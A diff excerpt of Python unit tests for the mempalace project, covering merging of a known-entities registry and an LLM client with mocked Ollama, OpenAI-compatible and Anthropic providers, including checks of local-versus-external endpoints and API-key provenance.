def test_returns_registry_path(temp_registry):
|
||||
result = miner.add_to_known_entities({"people": ["Alice"]})
|
||||
assert result == str(temp_registry)
|
||||
|
||||
|
||||
def test_empty_input_still_creates_file(temp_registry):
|
||||
"""A no-op merge still touches the file (idempotent), but no entries added."""
|
||||
miner.add_to_known_entities({})
|
||||
# File may or may not be written for a truly empty call — tolerate either.
|
||||
if temp_registry.exists():
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data == {} or all(not v for v in data.values())
|
||||
|
||||
|
||||
def test_skips_empty_name_strings(temp_registry):
|
||||
miner.add_to_known_entities({"people": ["Alice", "", None]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["people"] == ["Alice"]
|
||||
|
||||
|
||||
# ── union / dedup cases ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_unions_with_existing_list_category(temp_registry):
|
||||
temp_registry.write_text(json.dumps({"people": ["Alice", "Bob"]}))
|
||||
miner.add_to_known_entities({"people": ["Bob", "Carol"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# Bob not duplicated, Carol appended, original order preserved
|
||||
assert data["people"] == ["Alice", "Bob", "Carol"]
|
||||
|
||||
|
||||
def test_case_insensitive_dedup_preserves_first_seen_variant(temp_registry):
|
||||
temp_registry.write_text(json.dumps({"people": ["Alice"]}))
|
||||
miner.add_to_known_entities({"people": ["alice", "ALICE", "Bob"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# Alice stays as-is; lowercase/uppercase variants don't create new entries
|
||||
assert data["people"] == ["Alice", "Bob"]
|
||||
|
||||
|
||||
def test_preserves_untouched_categories(temp_registry):
|
||||
"""A category the caller didn't mention must be left alone."""
|
||||
temp_registry.write_text(json.dumps({"people": ["Alice"], "places": ["Paris", "Tokyo"]}))
|
||||
miner.add_to_known_entities({"people": ["Bob"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["places"] == ["Paris", "Tokyo"]
|
||||
assert data["people"] == ["Alice", "Bob"]
|
||||
|
||||
|
||||
def test_adds_new_categories(temp_registry):
|
||||
temp_registry.write_text(json.dumps({"people": ["Alice"]}))
|
||||
miner.add_to_known_entities({"projects": ["foo", "bar"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["people"] == ["Alice"]
|
||||
assert data["projects"] == ["foo", "bar"]
|
||||
|
||||
|
||||
def test_dedupes_within_input(temp_registry):
|
||||
miner.add_to_known_entities({"people": ["Alice", "alice", "Alice"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["people"] == ["Alice"]
|
||||
|
||||
|
||||
# ── dict-format existing registry ──────────────────────────────────────
|
||||
|
||||
|
||||
def test_dict_format_existing_category_gets_new_keys(temp_registry):
|
||||
"""Miner supports {name: code} dict categories (alternate registry shape).
|
||||
New names are added as keys without overwriting existing codes."""
|
||||
temp_registry.write_text(json.dumps({"people": {"Alice": "ALC", "Bob": "BOB"}}))
|
||||
miner.add_to_known_entities({"people": ["Alice", "Carol"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# Alice's code survives; Carol added with None; Bob untouched
|
||||
assert data["people"]["Alice"] == "ALC"
|
||||
assert data["people"]["Bob"] == "BOB"
|
||||
assert "Carol" in data["people"]
|
||||
assert data["people"]["Carol"] is None
|
||||
|
||||
|
||||
def test_dict_format_dedupes_case_insensitively_and_stringifies_new_names(temp_registry):
|
||||
temp_registry.write_text(json.dumps({"people": {"Alice": "ALC"}}))
|
||||
miner.add_to_known_entities({"people": ["alice", 123]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["people"] == {"Alice": "ALC", "123": None}
|
||||
|
||||
|
||||
# ── error tolerance ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_malformed_existing_registry_starts_fresh(temp_registry):
|
||||
temp_registry.write_text("{ not valid json")
|
||||
miner.add_to_known_entities({"people": ["Alice"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data == {"people": ["Alice"]}
|
||||
|
||||
|
||||
def test_non_dict_existing_registry_starts_fresh(temp_registry):
|
||||
temp_registry.write_text(json.dumps(["unexpected", "array"]))
|
||||
miner.add_to_known_entities({"people": ["Alice"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data == {"people": ["Alice"]}
|
||||
|
||||
|
||||
def test_non_list_input_category_ignored(temp_registry):
|
||||
miner.add_to_known_entities({"people": ["Alice"], "weird": "not a list"})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert "weird" not in data or data.get("weird") == "not a list"
|
||||
assert data["people"] == ["Alice"]
|
||||
|
||||
|
||||
# ── cache invalidation ───────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_cache_invalidated_so_subsequent_load_sees_write(temp_registry):
|
||||
"""cmd_init → cmd_mine runs in the same process; the load path must
|
||||
see what init just wrote without a process restart."""
|
||||
# Prime the cache with an empty state
|
||||
miner._load_known_entities()
|
||||
assert miner._load_known_entities() == frozenset()
|
||||
|
||||
miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
|
||||
|
||||
loaded = miner._load_known_entities()
|
||||
assert "Alice" in loaded
|
||||
assert "Bob" in loaded
|
||||
assert "foo" in loaded
|
||||
|
||||
|
||||
def test_raw_view_reflects_write(temp_registry):
|
||||
miner.add_to_known_entities({"people": ["Alice"]})
|
||||
raw = miner._load_known_entities_raw()
|
||||
assert raw.get("people") == ["Alice"]
|
||||
|
||||
|
||||
# ── Unicode round-trip ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_unicode_names_written_literally_not_escaped(temp_registry):
|
||||
"""`ensure_ascii=False` so non-ASCII names stay readable on disk."""
|
||||
miner.add_to_known_entities({"people": ["Gergő Móricz", "Arturo Domínguez"]})
|
||||
raw_text = temp_registry.read_text(encoding="utf-8")
|
||||
assert "Gergő" in raw_text
|
||||
assert "Móricz" in raw_text
|
||||
# Round-trips through JSON
|
||||
data = json.loads(raw_text)
|
||||
assert "Gergő Móricz" in data["people"]
|
||||
|
||||
|
||||
# ── end-to-end: does the write actually help _extract_entities_for_metadata? ──
|
||||
|
||||
|
||||
def test_populated_registry_improves_miner_recall(temp_registry):
|
||||
"""The whole point of the wire-up: names written via add_to_known_entities
|
||||
must be recognized by the miner's entity-extraction metadata pass."""
|
||||
miner.add_to_known_entities(
|
||||
{
|
||||
"people": ["Julia Grib", "Kevin Heifner"],
|
||||
"projects": ["hyperion-history", "mempalace"],
|
||||
}
|
||||
)
|
||||
|
||||
sample = (
|
||||
"Met with Julia Grib yesterday about the mempalace release. "
|
||||
"Kevin Heifner pushed the hyperion-history fix."
|
||||
)
|
||||
result = miner._extract_entities_for_metadata(sample)
|
||||
tagged = set(result.split(";")) if result else set()
|
||||
|
||||
# All four registered entities should land in the metadata string
|
||||
for expected in ("Julia Grib", "Kevin Heifner", "hyperion-history", "mempalace"):
|
||||
assert expected in tagged, f"expected '{expected}' in metadata {tagged!r}"
|
||||
|
||||
|
||||
# ── topics_by_wing — cross-wing tunnel signal source (issue #1180) ──
|
||||
|
||||
|
||||
def test_topics_persisted_under_topics_by_wing(temp_registry):
|
||||
miner.add_to_known_entities(
|
||||
{"people": ["Alice"], "topics": ["Angular", "OpenAPI"]},
|
||||
wing="wing_alpha",
|
||||
)
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# Topics also stored as a flat list (existing-style aggregate).
|
||||
assert "Angular" in data["topics"]
|
||||
# And recorded by wing for tunnel computation.
|
||||
assert data["topics_by_wing"]["wing_alpha"] == ["Angular", "OpenAPI"]
|
||||
|
||||
|
||||
def test_topics_by_wing_replaces_on_reinit(temp_registry):
|
||||
"""Re-running init for the same wing should reflect the latest list,
|
||||
not accumulate stale topics indefinitely."""
|
||||
miner.add_to_known_entities({"topics": ["Angular", "OpenAPI"]}, wing="wing_alpha")
|
||||
miner.add_to_known_entities({"topics": ["OpenAPI", "Postgres"]}, wing="wing_alpha")
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["topics_by_wing"]["wing_alpha"] == ["OpenAPI", "Postgres"]
|
||||
|
||||
|
||||
def test_topics_by_wing_multiple_wings_coexist(temp_registry):
|
||||
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_a")
|
||||
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_b")
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert data["topics_by_wing"] == {"wing_a": ["foo"], "wing_b": ["foo", "bar"]}
|
||||
|
||||
|
||||
def test_topics_by_wing_skipped_without_wing(temp_registry):
|
||||
miner.add_to_known_entities({"topics": ["foo"]})
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# No wing → no topics_by_wing entry, but topics list still saved.
|
||||
assert "topics_by_wing" not in data
|
||||
assert data["topics"] == ["foo"]
|
||||
|
||||
|
||||
def test_topics_by_wing_dedupes_case_insensitive(temp_registry):
|
||||
miner.add_to_known_entities({"topics": ["OpenAPI", "openapi", "OPENAPI"]}, wing="wing_a")
|
||||
data = json.loads(temp_registry.read_text())
|
||||
# Only one entry, casing of the first observed name preserved.
|
||||
assert data["topics_by_wing"]["wing_a"] == ["OpenAPI"]
|
||||
|
||||
|
||||
def test_get_topics_by_wing_reads_registry(temp_registry):
|
||||
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_a")
|
||||
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_b")
|
||||
result = miner.get_topics_by_wing()
|
||||
assert result == {"wing_a": ["foo"], "wing_b": ["foo", "bar"]}
|
||||
|
||||
|
||||
def test_get_topics_by_wing_empty_when_missing(temp_registry):
|
||||
miner.add_to_known_entities({"people": ["Alice"]})
|
||||
assert miner.get_topics_by_wing() == {}
|
||||
|
||||
|
||||
def test_topics_by_wing_does_not_pollute_known_names(temp_registry):
|
||||
"""Wing names in topics_by_wing must NOT leak into the flat known-names
|
||||
set used by ``_extract_entities_for_metadata`` — only the topic strings
|
||||
themselves should be recognized."""
|
||||
miner.add_to_known_entities({"topics": ["Angular"]}, wing="wing_super_secret_project")
|
||||
known = miner._load_known_entities()
|
||||
assert "Angular" in known
|
||||
assert "wing_super_secret_project" not in known
|
||||
@@ -0,0 +1,485 @@
|
||||
"""Tests for mempalace.llm_client.
|
||||
|
||||
HTTP is mocked throughout — these tests do not require a running Ollama
|
||||
or network access. Live-provider smoke tests live outside the unit-test
|
||||
suite.
|
||||
"""
|
||||
|
||||
import json
|
||||
from unittest.mock import patch, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace.llm_client import (
|
||||
AnthropicProvider,
|
||||
LLMError,
|
||||
OllamaProvider,
|
||||
OpenAICompatProvider,
|
||||
_http_post_json,
|
||||
get_provider,
|
||||
)
|
||||
|
||||
|
||||
# ── factory ─────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_get_provider_ollama():
|
||||
p = get_provider("ollama", "gemma4:e4b")
|
||||
assert isinstance(p, OllamaProvider)
|
||||
assert p.model == "gemma4:e4b"
|
||||
assert p.endpoint == OllamaProvider.DEFAULT_ENDPOINT
|
||||
|
||||
|
||||
def test_get_provider_openai_compat():
|
||||
p = get_provider("openai-compat", "foo", endpoint="http://localhost:1234")
|
||||
assert isinstance(p, OpenAICompatProvider)
|
||||
|
||||
|
||||
def test_get_provider_anthropic():
|
||||
p = get_provider("anthropic", "claude-haiku", api_key="sk-xxx")
|
||||
assert isinstance(p, AnthropicProvider)
|
||||
assert p.api_key == "sk-xxx"
|
||||
|
||||
|
||||
def test_get_provider_unknown_raises():
|
||||
with pytest.raises(LLMError, match="Unknown provider"):
|
||||
get_provider("nonsense", "x")
|
||||
|
||||
|
||||
# ── _http_post_json ─────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_http_post_json_success():
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.read.return_value = b'{"ok": true}'
|
||||
mock_resp.__enter__.return_value = mock_resp
|
||||
mock_resp.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
|
||||
result = _http_post_json("http://x/y", {"a": 1}, {}, timeout=5)
|
||||
assert result == {"ok": True}
|
||||
|
||||
|
||||
def test_http_post_json_http_error_wraps_as_llm_error():
|
||||
from urllib.error import HTTPError
|
||||
import io
|
||||
|
||||
err = HTTPError("http://x", 404, "Not Found", {}, io.BytesIO(b"model missing"))
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=err):
|
||||
with pytest.raises(LLMError, match="HTTP 404"):
|
||||
_http_post_json("http://x", {}, {}, timeout=5)
|
||||
|
||||
|
||||
def test_http_post_json_url_error_wraps_as_llm_error():
|
||||
from urllib.error import URLError
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=URLError("conn refused")):
|
||||
with pytest.raises(LLMError, match="Cannot reach"):
|
||||
_http_post_json("http://x", {}, {}, timeout=5)
|
||||
|
||||
|
||||
def test_http_post_json_malformed_response():
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.read.return_value = b"not json"
|
||||
mock_resp.__enter__.return_value = mock_resp
|
||||
mock_resp.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
|
||||
with pytest.raises(LLMError, match="Malformed"):
|
||||
_http_post_json("http://x", {}, {}, timeout=5)
|
||||
|
||||
|
||||
# ── OllamaProvider ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _mock_ollama_chat_response(content: str):
|
||||
mock = MagicMock()
|
||||
mock.read.return_value = json.dumps({"message": {"content": content}}).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
return mock
|
||||
|
||||
|
||||
def test_ollama_check_available_finds_model():
|
||||
tags = {"models": [{"name": "gemma4:e4b"}, {"name": "other:latest"}]}
|
||||
mock = MagicMock()
|
||||
mock.read.return_value = json.dumps(tags).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock):
|
||||
p = OllamaProvider(model="gemma4:e4b")
|
||||
ok, msg = p.check_available()
|
||||
assert ok
|
||||
assert msg == "ok"
|
||||
|
||||
|
||||
def test_ollama_check_available_accepts_latest_suffix():
|
||||
tags = {"models": [{"name": "mymodel:latest"}]}
|
||||
mock = MagicMock()
|
||||
mock.read.return_value = json.dumps(tags).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock):
|
||||
p = OllamaProvider(model="mymodel")
|
||||
ok, _ = p.check_available()
|
||||
assert ok
|
||||
|
||||
|
||||
def test_ollama_check_available_missing_model():
|
||||
tags = {"models": [{"name": "other:latest"}]}
|
||||
mock = MagicMock()
|
||||
mock.read.return_value = json.dumps(tags).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock):
|
||||
p = OllamaProvider(model="absent")
|
||||
ok, msg = p.check_available()
|
||||
assert not ok
|
||||
assert "ollama pull absent" in msg
|
||||
|
||||
|
||||
def test_ollama_check_available_unreachable():
|
||||
from urllib.error import URLError
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=URLError("refused")):
|
||||
p = OllamaProvider(model="gemma4:e4b")
|
||||
ok, msg = p.check_available()
|
||||
assert not ok
|
||||
assert "Cannot reach Ollama" in msg
|
||||
|
||||
|
||||
def test_ollama_classify_sends_json_format():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["url"] = req.full_url
|
||||
captured["body"] = json.loads(req.data.decode())
|
||||
return _mock_ollama_chat_response('{"classifications": []}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = OllamaProvider(model="gemma4:e4b")
|
||||
resp = p.classify("sys", "user", json_mode=True)
|
||||
|
||||
assert captured["body"]["format"] == "json"
|
||||
assert captured["body"]["model"] == "gemma4:e4b"
|
||||
assert captured["url"].endswith("/api/chat")
|
||||
assert resp.provider == "ollama"
|
||||
assert resp.text == '{"classifications": []}'
|
||||
|
||||
|
||||
def test_ollama_classify_empty_content_raises():
|
||||
with patch("mempalace.llm_client.urlopen", return_value=_mock_ollama_chat_response("")):
|
||||
p = OllamaProvider(model="x")
|
||||
with pytest.raises(LLMError, match="Empty response"):
|
||||
p.classify("s", "u")
|
||||
|
||||
|
||||
# ── OpenAICompatProvider ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _mock_openai_response(content: str):
|
||||
mock = MagicMock()
|
||||
payload = {"choices": [{"message": {"content": content}}]}
|
||||
mock.read.return_value = json.dumps(payload).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
return mock
|
||||
|
||||
|
||||
def test_openai_compat_resolves_url_with_v1_suffix():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["url"] = req.full_url
|
||||
return _mock_openai_response('{"ok": true}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h:1234")
|
||||
p.classify("s", "u")
|
||||
assert captured["url"] == "http://h:1234/v1/chat/completions"
|
||||
|
||||
|
||||
def test_openai_compat_resolves_url_with_existing_v1():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["url"] = req.full_url
|
||||
return _mock_openai_response('{"ok": true}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h:1234/v1")
|
||||
p.classify("s", "u")
|
||||
assert captured["url"] == "http://h:1234/v1/chat/completions"
|
||||
|
||||
|
||||
def test_openai_compat_requires_endpoint():
|
||||
p = OpenAICompatProvider(model="x")
|
||||
with pytest.raises(LLMError, match="requires --llm-endpoint"):
|
||||
p.classify("s", "u")
|
||||
|
||||
|
||||
def test_openai_compat_sends_authorization_when_key_present():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["auth"] = req.get_header("Authorization")
|
||||
return _mock_openai_response('{"ok": true}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-aaa")
|
||||
p.classify("s", "u")
|
||||
assert captured["auth"] == "Bearer sk-aaa"
|
||||
|
||||
|
||||
def test_openai_compat_uses_env_var_fallback(monkeypatch):
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env")
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h")
|
||||
assert p.api_key == "sk-from-env"
|
||||
|
||||
|
||||
def test_openai_compat_sends_response_format_json():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["body"] = json.loads(req.data.decode())
|
||||
return _mock_openai_response('{"ok": true}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h")
|
||||
p.classify("s", "u", json_mode=True)
|
||||
assert captured["body"]["response_format"] == {"type": "json_object"}
|
||||
|
||||
|
||||
def test_openai_compat_unexpected_shape_raises():
|
||||
mock = MagicMock()
|
||||
mock.read.return_value = b'{"nothing": "here"}'
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock):
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h")
|
||||
with pytest.raises(LLMError, match="Unexpected response shape"):
|
||||
p.classify("s", "u")
|
||||
|
||||
|
||||
# ── AnthropicProvider ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _mock_anthropic_response(text: str):
|
||||
mock = MagicMock()
|
||||
payload = {"content": [{"type": "text", "text": text}]}
|
||||
mock.read.return_value = json.dumps(payload).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
return mock
|
||||
|
||||
|
||||
def test_anthropic_requires_api_key(monkeypatch):
|
||||
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
|
||||
p = AnthropicProvider(model="claude-haiku")
|
||||
ok, msg = p.check_available()
|
||||
assert not ok
|
||||
assert "ANTHROPIC_API_KEY" in msg
|
||||
|
||||
|
||||
def test_anthropic_reads_env_key(monkeypatch):
|
||||
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env")
|
||||
p = AnthropicProvider(model="claude-haiku")
|
||||
assert p.api_key == "sk-ant-env"
|
||||
ok, _ = p.check_available()
|
||||
assert ok
|
||||
|
||||
|
||||
def test_anthropic_classify_sends_version_and_key():
|
||||
captured = {}
|
||||
|
||||
def fake_urlopen(req, *, timeout):
|
||||
captured["api_key"] = req.get_header("X-api-key")
|
||||
captured["version"] = req.get_header("Anthropic-version")
|
||||
return _mock_anthropic_response('{"ok": true}')
|
||||
|
||||
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
|
||||
p = AnthropicProvider(model="claude-haiku", api_key="sk-ant-abc")
|
||||
resp = p.classify("s", "u")
|
||||
assert captured["api_key"] == "sk-ant-abc"
|
||||
assert captured["version"] == AnthropicProvider.API_VERSION
|
||||
assert resp.text == '{"ok": true}'
|
||||
|
||||
|
||||
def test_anthropic_joins_multiple_text_blocks():
|
||||
mock = MagicMock()
|
||||
payload = {
|
||||
"content": [
|
||||
{"type": "text", "text": "part one. "},
|
||||
{"type": "text", "text": "part two."},
|
||||
]
|
||||
}
|
||||
mock.read.return_value = json.dumps(payload).encode()
|
||||
mock.__enter__.return_value = mock
|
||||
mock.__exit__.return_value = False
|
||||
with patch("mempalace.llm_client.urlopen", return_value=mock):
|
||||
p = AnthropicProvider(model="claude-haiku", api_key="sk-ant")
|
||||
resp = p.classify("s", "u")
|
||||
assert resp.text == "part one. part two."
|
||||
|
||||
|
||||
def test_anthropic_no_key_raises_on_classify(monkeypatch):
|
||||
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
|
||||
p = AnthropicProvider(model="claude-haiku")
|
||||
with pytest.raises(LLMError, match="requires ANTHROPIC_API_KEY"):
|
||||
p.classify("s", "u")
|
||||
|
||||
|
||||
# ── is_external_service property (issue #24 — privacy warning support) ──
|
||||
#
|
||||
# `is_external_service` is True when this provider's endpoint sends data
|
||||
# off the user's machine/network. Used by mempalace init to print a
|
||||
# privacy warning before first run when an external API will receive
|
||||
# folder content. URL-based heuristic: localhost, 127.x, ::1, .local,
|
||||
# RFC1918 (10/8, 192.168/16, 172.16-31/12), and IPv6 ULA (fc/fd::) are
|
||||
# all treated as local. Everything else is treated as external.
|
||||
|
||||
|
||||
def test_ollama_provider_default_endpoint_is_local():
|
||||
"""OllamaProvider's default endpoint is http://localhost:11434, which
|
||||
must be classified as local — no privacy warning fires for the
|
||||
typical user running Ollama on their own machine."""
|
||||
p = OllamaProvider(model="gemma4:e4b")
|
||||
assert p.is_external_service is False, (
|
||||
f"Default OllamaProvider endpoint must be local; got "
|
||||
f"is_external_service={p.is_external_service} for endpoint={p.endpoint}"
|
||||
)
|
||||
|
||||
|
||||
def test_openai_compat_provider_localhost_endpoint_is_local():
|
||||
"""LM Studio / llama.cpp server / vLLM commonly bind to localhost.
|
||||
Those setups must NOT trigger the external-API warning."""
|
||||
p = OpenAICompatProvider(model="any", endpoint="http://localhost:1234")
|
||||
assert p.is_external_service is False
|
||||
p_127 = OpenAICompatProvider(model="any", endpoint="http://127.0.0.1:8000")
|
||||
assert p_127.is_external_service is False
|
||||
p_lan = OpenAICompatProvider(model="any", endpoint="http://192.168.1.50:1234")
|
||||
assert p_lan.is_external_service is False, "LAN (RFC1918) endpoints must be local"
|
||||
|
||||
|
||||
def test_openai_compat_provider_cloud_endpoint_is_external():
|
||||
"""A user pointing openai-compat at OpenAI's hosted API or any other
|
||||
non-local endpoint MUST trigger the external warning."""
|
||||
p = OpenAICompatProvider(model="gpt-4o", endpoint="https://api.openai.com")
|
||||
assert p.is_external_service is True, (
|
||||
f"https://api.openai.com must be classified external; got "
|
||||
f"is_external_service={p.is_external_service}"
|
||||
)
|
||||
|
||||
|
||||
def test_anthropic_provider_default_endpoint_is_external():
|
||||
"""AnthropicProvider's default endpoint is https://api.anthropic.com,
|
||||
which is always external by definition. The privacy warning MUST
|
||||
fire by default for users who pass --llm-provider anthropic."""
|
||||
p = AnthropicProvider(model="claude-haiku-4-5", api_key="sk-test")
|
||||
assert p.is_external_service is True, (
|
||||
f"Default AnthropicProvider endpoint must be external; got "
|
||||
f"is_external_service={p.is_external_service} for endpoint={p.endpoint}"
|
||||
)
|
||||
|
||||
|
||||
# ── Tailscale CGNAT range (issue #25 follow-up to #24) ──────────────────
|
||||
#
|
||||
# Tailscale assigns addresses in 100.64.0.0/10 (CGNAT range): first octet
|
||||
# always 100, second octet 64-127 inclusive. Users running LM Studio /
|
||||
# Ollama / any local LLM accessible via Tailscale would currently
|
||||
# (post-#24, pre-#25) get a wrong privacy warning because the heuristic
|
||||
# doesn't recognize CGNAT as private. These tests pin the fix.
|
||||
|
||||
|
||||
def test_openai_compat_provider_tailscale_cgnat_endpoint_is_local():
|
||||
"""Tailscale CGNAT range (100.64.0.0/10) — IPs where the first octet
|
||||
is 100 AND the second octet is 64-127 inclusive — must be classified
|
||||
as local. Tailscale users running LM Studio on their Tailnet should
|
||||
not trigger the external-API warning.
|
||||
"""
|
||||
cases = [
|
||||
("http://100.64.0.1:1234", "start of CGNAT"),
|
||||
("http://100.100.50.50:1234", "middle of CGNAT (typical Tailscale assignment)"),
|
||||
("http://100.127.255.254:1234", "near end of CGNAT"),
|
||||
]
|
||||
for endpoint, label in cases:
|
||||
p = OpenAICompatProvider(model="any", endpoint=endpoint)
|
||||
assert p.is_external_service is False, (
|
||||
f"Tailscale CGNAT address {endpoint} ({label}) must be classified "
|
||||
f"local; got is_external_service={p.is_external_service}"
|
||||
)
|
||||
|
||||
|
||||
def test_openai_compat_provider_outside_tailscale_cgnat_is_external():
|
||||
"""Addresses in 100.x.x.x that fall OUTSIDE the CGNAT range
|
||||
(100.64.0.0 - 100.127.255.255) are public IPs in regular allocated
|
||||
space and must remain classified as external. Specifically: anything
|
||||
where the second octet is < 64 or > 127.
|
||||
"""
|
||||
cases = [
|
||||
("http://100.0.0.1:1234", "below CGNAT (public)"),
|
||||
("http://100.63.255.255:1234", "just below CGNAT (boundary)"),
|
||||
("http://100.128.0.0:1234", "just above CGNAT (boundary)"),
|
||||
("http://100.255.255.255:1234", "well above CGNAT"),
|
||||
]
|
||||
for endpoint, label in cases:
|
||||
p = OpenAICompatProvider(model="any", endpoint=endpoint)
|
||||
assert p.is_external_service is True, (
|
||||
f"Address {endpoint} ({label}) is OUTSIDE Tailscale CGNAT and "
|
||||
f"should remain external; got is_external_service={p.is_external_service}"
|
||||
)
|
||||
|
||||
|
||||
# ── api_key_source provenance tracking (issue #26) ──────────────────────
|
||||
#
|
||||
# Distinguishes whether `api_key` was set via explicit constructor arg
|
||||
# (= --llm-api-key flag → "flag") vs via environment-variable fallback
|
||||
# (OPENAI_API_KEY / ANTHROPIC_API_KEY → "env"). cmd_init uses this to
|
||||
# decide whether to block on a consent prompt: stray env-fallback keys
|
||||
# require explicit user confirmation; explicit flag-passed keys are
|
||||
# treated as already-consented.
|
||||
|
||||
|
||||
def test_openai_compat_api_key_source_flag_when_explicit(monkeypatch):
|
||||
"""When ``api_key`` is passed explicitly to the constructor, the
|
||||
provider records ``api_key_source == "flag"`` even if the same env
|
||||
var is also set. Flag wins over env."""
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env-irrelevant")
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-from-flag")
|
||||
assert p.api_key == "sk-from-flag"
|
||||
assert (
|
||||
p.api_key_source == "flag"
|
||||
), f"Explicit api_key arg must produce api_key_source='flag'; got {p.api_key_source!r}"
|
||||
|
||||
|
||||
def test_openai_compat_api_key_source_env_when_fallback(monkeypatch):
|
||||
"""When ``api_key`` arg is None but ``OPENAI_API_KEY`` is set, the
|
||||
provider falls back to env and records ``api_key_source == "env"``.
|
||||
This is the "stray key" case — user didn't explicitly authorize this
|
||||
run to use the env-resolved credential."""
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env")
|
||||
p = OpenAICompatProvider(model="x", endpoint="http://h")
|
||||
assert p.api_key == "sk-from-env"
|
||||
assert (
|
||||
p.api_key_source == "env"
|
||||
), f"Env-fallback api_key must produce api_key_source='env'; got {p.api_key_source!r}"
|
||||
|
||||
|
||||
def test_anthropic_api_key_source_tracking(monkeypatch):
|
||||
"""AnthropicProvider tracks api_key_source the same way: 'flag' when
|
||||
passed explicitly, 'env' when resolved from ANTHROPIC_API_KEY env."""
|
||||
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env")
|
||||
p_flag = AnthropicProvider(model="claude-haiku", api_key="sk-ant-flag")
|
||||
assert (
|
||||
p_flag.api_key_source == "flag"
|
||||
), f"Explicit api_key must produce 'flag'; got {p_flag.api_key_source!r}"
|
||||
p_env = AnthropicProvider(model="claude-haiku")
|
||||
assert p_env.api_key == "sk-ant-env"
|
||||
assert (
|
||||
p_env.api_key_source == "env"
|
||||
), f"Env-fallback must produce 'env'; got {p_env.api_key_source!r}"
|
||||
|
||||
|
||||
def test_ollama_api_key_source_is_none():
|
||||
"""Ollama doesn't use api_key at all; ``api_key_source`` should be None."""
|
||||
p = OllamaProvider(model="gemma4:e4b")
|
||||
assert p.api_key is None
|
||||
assert p.api_key_source is None
|
||||
@@ -0,0 +1,659 @@
|
||||
"""Tests for mempalace.llm_refine.
|
